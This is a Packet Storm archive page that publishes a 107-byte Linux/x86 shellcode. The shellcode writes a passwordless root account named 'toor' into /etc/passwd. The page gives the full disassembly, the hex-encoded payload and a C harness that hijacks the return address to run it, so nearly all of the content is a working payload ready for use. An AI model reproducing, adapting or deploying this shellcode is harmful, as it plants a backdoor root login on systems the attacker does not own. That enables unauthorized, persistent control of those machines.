what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Append /etc/passwd Shellcode

Append /etc/passwd Shellcode
Posted Jan 1, 2010
Authored by sandman

107 bytes small Linux/x86 shellcode that appends a passwordless root account to /etc/passwd.

tags | x86, root, shellcode
systems | linux
SHA-256 | c43a048a078aa348100d28ebcc9642756c5a215a7422a7982bef86d6ed8f115c

Append /etc/passwd Shellcode

Change Mirror Download
/*
append_passwd.c
Payload: Adds the string: [toor::0:0:t00r:/root:/bin/bash] to /etc/passwd thereby adding a password-less root account with login name "toor"
Platform: linux/x86
Size: 107 bytes
Author: $andman
*/

/*
08049054 <_start>:
8049054: eb 38 jmp 804908e <callfunc>

08049056 <func>:
8049056: 5e pop %esi
8049057: 31 c0 xor %eax,%eax
8049059: 88 46 0b mov %al,0xb(%esi)
804905c: 88 46 2b mov %al,0x2b(%esi)
804905f: c6 46 2a 0a movb $0xa,0x2a(%esi)
8049063: 8d 5e 0c lea 0xc(%esi),%ebx
8049066: 89 5e 2c mov %ebx,0x2c(%esi)
8049069: 8d 1e lea (%esi),%ebx
804906b: 66 b9 42 04 mov $0x442,%cx
804906f: 66 ba a4 01 mov $0x1a4,%dx
8049073: b0 05 mov $0x5,%al
8049075: cd 80 int $0x80
8049077: 89 c3 mov %eax,%ebx
8049079: 31 d2 xor %edx,%edx
804907b: 8b 4e 2c mov 0x2c(%esi),%ecx
804907e: b2 1f mov $0x1f,%dl
8049080: b0 04 mov $0x4,%al
8049082: cd 80 int $0x80
8049084: b0 06 mov $0x6,%al
8049086: cd 80 int $0x80
8049088: b0 01 mov $0x1,%al
804908a: 31 db xor %ebx,%ebx
804908c: cd 80 int $0x80

0804908e <callfunc>:
804908e: e8 c3 ff ff ff call 8049056 <func>
8049093: ......string.......
*/

#include <stdio.h>
#include <string.h>

char shell[]= "\xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e"
"\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04"
"\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72"
"\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23";
main(){
printf("[+]shellcode length %d\n", strlen(shell));
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shell;
}
//HAPPY NEW YEAR!
//#$

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close